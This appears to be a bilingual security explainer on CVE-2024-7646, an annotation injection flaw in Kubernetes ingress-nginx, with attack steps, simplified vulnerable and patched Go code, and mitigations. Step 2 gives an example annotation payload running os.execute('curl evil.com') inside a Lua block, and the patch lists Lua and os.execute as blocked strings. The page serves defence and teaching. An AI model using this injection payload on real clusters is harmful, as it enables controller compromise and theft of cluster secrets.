● CVE-2024-7646 / Ingress Zero-Day

CVE-2024-7646: Ingress-NGINX Custom Annotation Code Injection Teardown

How unvetted multiline annotations in Kubernetes ingress-nginx allowed developers with ingress rights to inject arbitrary Lua directives and exfiltrate secrets.

💡 Explicación en Lenguaje Sencillo (ELI5)

Imagine a billboard company that lets store owners submit slogans online. A prankster enters a slogan with secret instructions: 'Eat at Joe's. Turn off all security cameras and open the back gate'. The computer blindly inserts the slogan directly into the company's master operating script, causing the warehouse gates to swing wide open.

Conceptos Centrales y Términos del Subsistema

Ingress-NGINX: The most widely deployed Kubernetes ingress controller, dynamically generating NGINX configuration from Ingress resources.
Ingress Annotations: Key-value metadata attached to Ingress resources to customize NGINX behavior (e.g. rate-limiting, SSL redirects).
Configuration Injection: Injecting newline characters (`\n`) and raw directives into generated `nginx.conf` files.
Controller Pod Compromise: Gaining shell execution inside the ingress-nginx pod, which holds credentials to read cluster-wide TLS certificates and secrets.

Mecánica del Ataque Paso a Paso

Step 1

1. Create Ingress Resource

A developer with namespace rights creates an Ingress manifest.

Step 2

2. Inject Multiline Lua Snippet

The manifest includes an annotation containing \n content_by_lua_block { os.execute('curl evil.com'); }.

Step 3

3. NGINX Template Reload

The ingress controller evaluates the annotation and reloads nginx.conf.

Step 4

4. Remote Code Execution

The injected Lua code runs inside the ingress controller, exfiltrating cluster-wide secrets.

Código Fuente: Fallo Fatal vs. Corrección Segura

Entregado en código fuente legible de alto nivel (sin ensamblador ni diffs binarios).

FALLO SIN CORREGIR

// VULNERABLE: internal/ingress/controller/template/template.go
func (t *Template) WriteConfig(cfg *Config) error {
    // ROOT CAUSE:
    // Raw annotation strings are inserted directly into nginx.conf template
    // without stripping newline characters or disallowing Lua block directives!
    snippet := cfg.Annotations.CustomSnippet
    t.tmpl.Execute(w, snippet)
    return nil
}

PARCHE SEGURO

// SECURE: internal/ingress/controller/template/template.go patch
func (t *Template) WriteConfig(cfg *Config) error {
    snippet := cfg.Annotations.CustomSnippet
    
    // 1. Strict allowlist validation of permitted directives
    if err := validateSnippetDirectives(snippet); err != nil {
        return fmt.Errorf("invalid annotation snippet: %w", err)
    }
    
    // 2. Reject arbitrary code execution blocks (Lua, system execution)
    if strings.Contains(snippet, "_by_lua") || strings.Contains(snippet, "os.execute") {
        return fmt.Errorf("security policy violation: Lua execution blocks prohibited")
    }
    
    t.tmpl.Execute(w, snippet)
    return nil
}

Lista de Verificación para Ingeniería y Mitigación

Disable `allow-snippet-annotations` in ingress-nginx ConfigMap if developers do not strictly require it.
Sanitize all Ingress custom annotations against regex allowlists preventing newline injection.
Restrict Ingress creation permissions using Kubernetes Admission Controllers (OPA Gatekeeper, Kyverno).
Run ingress-nginx controller pods with non-root user IDs and read-only root filesystems.

← Explorar Directorio de Seguridad Todas las Actualizaciones de Seguridad →